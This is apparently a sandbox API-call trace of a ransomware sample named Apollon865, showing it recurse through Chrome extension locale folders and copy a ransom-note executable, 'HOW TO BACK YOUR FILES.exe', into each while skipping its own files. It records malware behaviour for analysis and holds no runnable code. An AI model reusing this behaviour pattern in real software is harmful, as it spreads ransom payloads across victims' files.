	[0048.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv") returned 137
	[0048.542] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv"
	[0048.542] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.542] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.546] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.546] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35014990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35014990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.546] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.546] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.546] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.546] lstrlenW (lpString="messages.json") returned 13
	[0048.546] lstrlenW (lpString="Apollon865") returned 10
	[0048.546] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.546] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt"
	[0048.546] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b35a0 | out: hHeap=0x580000) returned 1
	[0048.546] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a01a8 | out: hHeap=0x580000) returned 1
	[0048.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt") returned 137
	[0048.546] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt"
	[0048.546] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.546] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.551] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.551] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35014990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35014990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.551] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.551] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.551] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.551] lstrlenW (lpString="messages.json") returned 13
	[0048.551] lstrlenW (lpString="Apollon865") returned 10
	[0048.551] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.551] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo"
	[0048.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3478 | out: hHeap=0x580000) returned 1
	[0048.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0188 | out: hHeap=0x580000) returned 1
	[0048.552] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo") returned 137
	[0048.552] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo"
	[0048.552] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.552] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.555] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.555] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3503aaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3503aaf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.556] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.556] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.556] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.556] lstrlenW (lpString="messages.json") returned 13
	[0048.556] lstrlenW (lpString="Apollon865") returned 10
	[0048.556] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.556] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko"
	[0048.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3350 | out: hHeap=0x580000) returned 1
	[0048.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0168 | out: hHeap=0x580000) returned 1
	[0048.556] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko") returned 137
	[0048.556] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko"
	[0048.556] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.556] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.561] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.561] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3503aaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3503aaf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.561] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.561] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.561] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.561] lstrlenW (lpString="messages.json") returned 13
	[0048.561] lstrlenW (lpString="Apollon865") returned 10
	[0048.561] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.561] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn"
	[0048.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3228 | out: hHeap=0x580000) returned 1
	[0048.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0048.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn") returned 137
	[0048.561] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn"
	[0048.561] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.561] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.565] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.565] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3503aaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3503aaf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.565] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.565] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.566] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.566] lstrlenW (lpString="messages.json") returned 13
	[0048.566] lstrlenW (lpString="Apollon865") returned 10
	[0048.566] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.566] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km"
	[0048.566] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3100 | out: hHeap=0x580000) returned 1
	[0048.566] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0148 | out: hHeap=0x580000) returned 1
	[0048.566] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km") returned 137
	[0048.566] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km"
	[0048.566] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.566] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.570] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.570] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35060c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35060c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.571] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.571] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.571] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.571] lstrlenW (lpString="messages.json") returned 13
	[0048.571] lstrlenW (lpString="Apollon865") returned 10
	[0048.571] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.571] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka"
	[0048.571] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2fd8 | out: hHeap=0x580000) returned 1
	[0048.571] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0128 | out: hHeap=0x580000) returned 1
	[0048.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka") returned 137
	[0048.571] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka"
	[0048.571] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.571] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.575] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35060c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35060c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.575] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.575] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.575] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.575] lstrlenW (lpString="messages.json") returned 13
	[0048.575] lstrlenW (lpString="Apollon865") returned 10
	[0048.575] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.575] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja"
